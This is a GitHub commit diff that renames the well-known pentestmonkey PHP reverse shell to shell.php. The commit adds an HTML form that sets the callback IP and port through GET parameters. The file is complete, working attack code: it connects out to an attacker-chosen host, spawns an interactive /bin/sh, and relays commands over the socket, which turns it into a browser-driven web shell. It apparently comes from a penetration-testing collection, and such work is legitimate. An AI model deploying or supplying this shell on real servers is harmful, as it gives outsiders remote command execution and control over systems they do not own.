Update and rename php-reverse-shell.php to shell.php

This commit is contained in:
Omar Santos 2021-03-18 00:53:52 -04:00 committed by GitHub
parent 36fae5c020
commit b89523bce7
No known key found for this signature in database
GPG key ID: 4AEE18F83AFDEB23

View file

@ -1,3 +1,29 @@
<!DOCTYPE html>
<html>
<title>PentestMonkey Reverse Shell</title>
<body>
<form method="GET">
<td>
<table style="border-spacing: 6px;">
<tr>
<td>IP</td>
<td>
<input style="width: 200px;" name="ip" placeholder="IP" />
</td>
</tr>
<tr>
<td>Port</td>
<td><input style="width: 200px;" name="port" placeholder="Port"/>
</tr>
<tr>
<td>
<input style="width: 90px;" class="own" type="submit" value="Connect"/>
</td>
</tr>
</table>
</td>
</form>
<?php <?php
// php-reverse-shell - A Reverse Shell implementation in PHP // php-reverse-shell - A Reverse Shell implementation in PHP
// Copyright (C) 2007 pentestmonkey@pentestmonkey.net // Copyright (C) 2007 pentestmonkey@pentestmonkey.net
@ -46,104 +72,83 @@
set_time_limit (0); set_time_limit (0);
$VERSION = "1.0"; $VERSION = "1.0";
$ip = '127.0.0.1'; // CHANGE THIS $ip = $_GET['ip'];
$port = 1234; // CHANGE THIS $port = $_GET['port'];
$chunk_size = 1400; $chunk_size = 1400;
$write_a = null; $write_a = null;
$error_a = null; $error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i'; $shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0; $daemon = 0;
$debug = 0; $debug = 0;
// //
// Daemonise ourself if possible to avoid zombies later // Daemonise ourself if possible to avoid zombies later
// //
// pcntl_fork is hardly ever available, but will allow us to daemonise // pcntl_fork is hardly ever available, but will allow us to daemonise
// our php process and avoid zombies. Worth a try... // our php process and avoid zombies. Worth a try...
if (function_exists('pcntl_fork')) { if (function_exists('pcntl_fork')) {
// Fork and have the parent process exit // Fork and have the parent process exit
$pid = pcntl_fork(); $pid = pcntl_fork();
if ($pid == -1) { if ($pid == -1) {
printit("ERROR: Can't fork"); printit("ERROR: Can't fork");
exit(1); exit(1);
} }
if ($pid) { if ($pid) {
exit(0); // Parent exits exit(0); // Parent exits
} }
// Make the current process a session leader // Make the current process a session leader
// Will only succeed if we forked // Will only succeed if we forked
if (posix_setsid() == -1) { if (posix_setsid() == -1) {
printit("Error: Can't setsid()"); printit("Error: Can't setsid()");
exit(1); exit(1);
} }
$daemon = 1; $daemon = 1;
} else {
printit("WARNING: Failed to daemonise. This is quite common and not fatal.");
} }
// Change to a safe directory // Change to a safe directory
chdir("/"); chdir("/");
// Remove any umask we inherited // Remove any umask we inherited
umask(0); umask(0);
// //
// Do the reverse shell... // Do the reverse shell...
// //
// Open reverse connection // Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30); $sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) { if (!$sock) {
printit("$errstr ($errno)"); printit("$errstr ($errno)");
exit(1); exit(1);
} }
// Spawn shell process // Spawn shell process
$descriptorspec = array( $descriptorspec = array(
0 => array("pipe", "r"), // stdin is a pipe that the child will read from 0 => array("pipe", "r"), // stdin is a pipe that the child will read from
1 => array("pipe", "w"), // stdout is a pipe that the child will write to 1 => array("pipe", "w"), // stdout is a pipe that the child will write to
2 => array("pipe", "w") // stderr is a pipe that the child will write to 2 => array("pipe", "w") // stderr is a pipe that the child will write to
); );
$process = proc_open($shell, $descriptorspec, $pipes); $process = proc_open($shell, $descriptorspec, $pipes);
if (!is_resource($process)) { if (!is_resource($process)) {
printit("ERROR: Can't spawn shell"); printit("ERROR: Can't spawn shell");
exit(1); exit(1);
} }
// Set everything to non-blocking // Set everything to non-blocking
// Reason: Occsionally reads will block, even though stream_select tells us they won't // Reason: Occsionally reads will block, even though stream_select tells us they won't
stream_set_blocking($pipes[0], 0); stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0); stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0); stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0); stream_set_blocking($sock, 0);
printit("Successfully opened reverse shell to $ip:$port"); printit("Successfully opened reverse shell to $ip:$port");
while (1) { while (1) {
// Check for end of TCP connection // Check for end of TCP connection
if (feof($sock)) { if (feof($sock)) {
printit("ERROR: Shell connection terminated"); printit("ERROR: Shell connection terminated");
break; break;
} }
// Check for end of STDOUT // Check for end of STDOUT
if (feof($pipes[1])) { if (feof($pipes[1])) {
printit("ERROR: Shell process terminated"); printit("ERROR: Shell process terminated");
break; break;
} }
// Wait until a command is end down $sock, or some // Wait until a command is end down $sock, or some
// command output is available on STDOUT or STDERR // command output is available on STDOUT or STDERR
$read_a = array($sock, $pipes[1], $pipes[2]); $read_a = array($sock, $pipes[1], $pipes[2]);
$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null); $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
// If we can read from the TCP socket, send // If we can read from the TCP socket, send
// data to process's STDIN // data to process's STDIN
if (in_array($sock, $read_a)) { if (in_array($sock, $read_a)) {
@ -152,7 +157,6 @@ while (1) {
if ($debug) printit("SOCK: $input"); if ($debug) printit("SOCK: $input");
fwrite($pipes[0], $input); fwrite($pipes[0], $input);
} }
// If we can read from the process's STDOUT // If we can read from the process's STDOUT
// send data down tcp connection // send data down tcp connection
if (in_array($pipes[1], $read_a)) { if (in_array($pipes[1], $read_a)) {
@ -161,7 +165,6 @@ while (1) {
if ($debug) printit("STDOUT: $input"); if ($debug) printit("STDOUT: $input");
fwrite($sock, $input); fwrite($sock, $input);
} }
// If we can read from the process's STDERR // If we can read from the process's STDERR
// send data down tcp connection // send data down tcp connection
if (in_array($pipes[2], $read_a)) { if (in_array($pipes[2], $read_a)) {
@ -171,21 +174,17 @@ while (1) {
fwrite($sock, $input); fwrite($sock, $input);
} }
} }
fclose($sock); fclose($sock);
fclose($pipes[0]); fclose($pipes[0]);
fclose($pipes[1]); fclose($pipes[1]);
fclose($pipes[2]); fclose($pipes[2]);
proc_close($process); proc_close($process);
// Like print, but does nothing if we've daemonised ourself // Like print, but does nothing if we've daemonised ourself
// (I can't figure out how to redirect STDOUT like a proper daemon) // (I can't figure out how to redirect STDOUT like a proper daemon)
function printit ($string) { function printit ($string) {
if (!$daemon) { if (!$daemon) {
print "$string\n"; print "$string\n";
} }
} }
?>
?>